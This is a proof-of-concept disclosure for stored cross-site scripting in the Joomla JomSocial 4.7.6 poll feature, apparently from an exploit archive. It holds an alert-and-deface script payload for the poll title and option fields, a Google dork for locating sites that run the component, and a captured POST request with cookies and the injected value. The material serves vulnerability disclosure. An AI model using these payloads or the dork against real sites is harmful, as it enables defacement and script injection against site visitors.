Joomla JomSocial 4.7.6 Cross Site Scripting

Joomla JomSocial component version 4.7.6 suffers from a persistent cross site scripting vulnerability.


MD5 | 2c365505ab2344e7d3fa996ef07d2317

# Exploit Title: Joomla JomSocial 4.7.6 Stored XSS
# Date: 03.11.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://www.jomsocial.com/demo
# Tested on: Windows 10
# Web Browser: Mozilla Firefox,Google Chrome and Edge
#:Google Dorks: inurl:templates/jomsocial/
# Blog : https://pentest.vincent.blogspot.com/
# PoC: https://pentestvincent.blogspot.com/2020/11/joomla-jomsocial-476-stored-xss.html

PoC:

Stored XSS in the poll.

Go to the https://ijoomlademo.com/index.php

Create poll:

Use for test simple xss code :

""><script>alert(1)</script><script>alert("2")</script><body
background="https://i.gifer.com/Nv2.gif">

Field "title and field "add poll option".

Update this and we have stored xss and deface background with stored
html code injection.

https://ijoomlademo.com/index.php

Host: ijoomlademo.com

..........................................................................................

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0)
Gecko/20100101 Firefox/82.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 1073

Origin: https://ijoomlademo.com

Connection: keep-alive

Referer: https://ijoomlademo.com/index.php

Cookie: __cfduid=dee102cc0e40cf95be92c643956e474cd1604428425;
4681557252fe8ff3df4a28d60cb41dc7=shg4g73pm6odh4e8hfuc4c2h75;
currentURI=https%3A%2F%2Fijoomlademo.com%2Findex.php%3Foption%3Dcom_community%26view%3Dfriends%26task%3DajaxAutocomplete%26allfriends%3D1;
joomla_user_state=logged_in

option=community&view=frontpage&task=azrul_ajax&func=system,ajaxStreamAdd&no_html=1&008b85046025db389f11292741ac0393=1&arg2=["_d_","""><script>alert(1)</script>"]&arg3=["_d_","{"element":"profile","target":"231","type":"poll","options":["1","2"],"settings":{"allow_multiple":false},"polltime":{"enddate":["2020-11-03","3
November 2020"],"endtime":["00:00","12:00
AM"]},"privacy":10,"catid":1}"]&arg4=["_d_","{"filter":"","value":"default_value","hashtag":false}"]

POST: HTTP/2.0 200 OK

date: Tue, 03 Nov 2020 18:53:21 GMT

content-type: text/plain;charset=UTF-8

x-powered-by: PHP/7.2.33

cf-cache-status: DYNAMIC

cf-request-id: 06310dee9f000033744f1b3000000001

expect-ct: max-age=604800,
report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=b7CGOI6icRSPny5RypHkJ%2FP%2FfGPQbpAPZalJMzkV6a3yQZwqkqb8tFcZcMnuQNZM45YxUCbr5ZrvHryA0tsZ2qv3NT%2Bh04xxtHJhrpFmcDY%3D"}],"group":"cf-nel","max_age":604800}

nel: {"report_to":"cf-nel","max_age":604800}

server: cloudflare

cf-ray: 5ec84c2a9fd33374-DME

content-encoding: br

X-Firefox-Spdy: h2

..........................................................................................

Picture:

https://imgur.com/a/Cmrcker

https://imgur.com/a/82FhgbW

https://imgur.com/a/mc7bgkN

Video:

https://www.youtube.com/watch?v=brmf-Ew4D3k&feature=youtu.be

Related Posts